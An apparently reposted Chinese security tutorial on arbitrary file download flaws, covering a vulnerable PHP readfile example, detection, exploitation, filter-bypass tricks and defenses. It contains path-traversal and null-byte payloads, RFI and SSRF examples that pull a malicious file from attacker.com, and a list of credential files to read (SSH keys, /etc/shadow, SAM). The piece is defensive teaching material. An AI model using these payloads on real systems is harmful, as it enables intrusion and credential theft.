文件下载漏洞原理、探测、利用、绕过、防御

发布时间:2026/6/26 3:16:14
文件下载漏洞原理、探测、利用、绕过、防御 个人感觉这位师傅的文章内容很全面链接在此任意文件读取/下载漏洞总结_任意文件下载漏洞-CSDN博客一、原理服务端在处理文件下载请求时直接使用了用户提供的参数作为文件路径而没有进行有效的安全验证。一个典型的危险代码示例如下?php $filename $_GET[filename]; // 直接从用户输入获取文件名 readfile($filename); // 未经验证直接读取文件 ?这样的代码使得攻击者可以通过修改filename​参数来访问任何有权限读取的文件二、探测1. 特征识别在URL中寻找与文件操作相关的参数名。文件名downloaddownreadfilereaddeldirpathsrcLang等参数名file、path、data、filename、filepath、readfile、data、url、realpath等URL特征: download.php?file...​ 或 read.php?filename...​。2. 手工验证通过修改URL中的文件路径参数观察服务器的响应来判断是否存在漏洞如果服务器返回了文件内容则说明漏洞存在。尝试读取敏感文件来验证漏洞。​?file../../../../etc/passwd​ (Linux)​?file..\..\..\windows\win.ini​ (Windows)读取当前文件: 尝试下载当前页面自身源码如 ?filenameindex.php​如果显示源码而不是解析后的页面证明存在文件下载漏洞。3.工具验证AWVS、Xray、Nessus扫描任意文件下载 / 目录遍历漏洞Burp Suite 主动扫描 字典 Payload 批量遍历御剑后台扫描爬取下载类接口三、利用1.利用条件1、存在读文件的函数fopen() 函数 fread() 函数 include() 函数 readfile() 函数 file_get_contents() 函数 file() 函数一键获取完整项目代码2、读取文件的路径用户可控且未校验或校验不严3、输出了文件内容2.本地文件包含LFI攻击者利用服务器端脚本中的漏洞在脚本中包含和执行任意文件。例如http://example.com/index.php?page../../etc/passwd这将导致服务器加载并显示 /etc/passwd 文件的内容。3.远程文件包含RFI攻击者利用服务器端脚本中的漏洞在脚本中包含和执行远程服务器上的任意文件。例如http://example.com/index.php?page\http://attacker.com/恶意文件.php这将导致服务器加载并执行远程服务器上的恶意文件。4.目录遍历攻击者利用服务器端脚本中的漏洞访问位于目标服务器上任意目录中的文件。例如http://example.com/index.php?page\../../../../../../etc/passwd这将导致服务器加载并显示 /etc/passwd 文件的内容。5.服务器端请求伪造SSRF攻击者利用服务器端脚本中的漏洞伪造HTTP请求并将其发送到目标服务器。例如http://example.com/index.php?url\http://attacker.com/恶意脚本.php这将导致服务器向恶意服务器发送HTTP请求。6.常用核心路径windowsC:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root用户信息 C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 C:\Windows\win.ini //Windows系统基本信息 C:\Windows\System32\drivers\etc\hosts //域名解析记录 C:\Users\Administrator\Desktop\*.desktop //桌面文件 %USERPROFILE%\Desktop\*.desktop //当前用户桌面文件 C:\inetpub\logs\LogFiles\W3SVC1\ //IIS访问日志 C:\Windows\System32\config\SAM //SAM哈希值 C:\Windows\System32\config\SYSTEM //系统注册表SYSTEM项linux/root/.ssh/authorized_keys //SSH授权登录公钥列表 /root/.ssh/id_rsa //SSH私钥 /root/.ssh/id_rsa.pub //SSH公钥 /etc/passwd //用户账户信息 /etc/shadow //用户密码哈希值 /etc/hosts //域名解析记录 /etc/fstab //文件系统挂载信息 /etc/sudoers //sudo权限配置 /root/.bash_history //root用户命令历史 /home/*/.bash_history //普通用户命令历史 /proc/self/environ //当前进程环境变量(含路径/密钥) /proc/self/cmdline //当前进程启动命令 /proc/sched_debug //进程调度信息(可定位进程PID) /var/log/secure //安全认证日志 /var/log/messages //系统通用日志 /var/log/nginx/access.log //Nginx访问日志 /var/log/apache2/access.log //Apache访问日志四、绕过1. 过滤 ../​ 字符绕过重复嵌套绕过正则只匹配一次../​....//....//etc/passwd ..\/..\/etc/passwd原理....//​ 会被解析为 ../​编码绕过/URL 编码、双重 URL 编码、Unicode 编码、UTF-8 全角字符2. 后缀名白名单绕过限制只能下载 jpg/png路径截断%00 空字节截断PHP5.3.4 适用/download?file../../config.php%00.jpg问号绕过Nginx/Apache 解析特性/download?file../../config.php?.jpg路径拼接后缀用#​锚点截断浏览器不会发送 #后内容/download?file../../config.php#.jpg3. 前缀固定目录绕过后端限制文件必须在upload/​目录下?file../etc/passwd 拼接后 upload/../etc/passwd → 实际/etc/passwd4. 系统分隔符混用绕过过滤/​就用\​Windows 下两种分隔符通用Linux 部分环境兼容\​。5. 特殊符号绕过​~​、.​ 隐藏路径、软链接文件绕过过滤。五、防御设置文件白名单将允许用户下载的文件名或ID与服务器上的真实文件名、路径建立一一对应的映射关系间接引用而不是直接传递路径参数。路径规范化与限制对用户输入进行严格过滤拒绝包含..​、./​、\​等危险字符的请求。使用realpath()​等函数将路径转换为绝对路径并检查该路径是否位于允许访问的基础目录内。使用open_basedir​限制访问范围在PHP中配置open_basedir​可以限制PHP脚本只能访问指定目录及其子目录。最小权限原则Web服务器进程应使用权限较低的用户运行防止其读取系统级敏感文件。同时对下载目录设置合理权限禁止脚本执行。​日志与监控​记录所有文件下载请求并对异常行为如大量请求/etc/passwd​进行监控和告警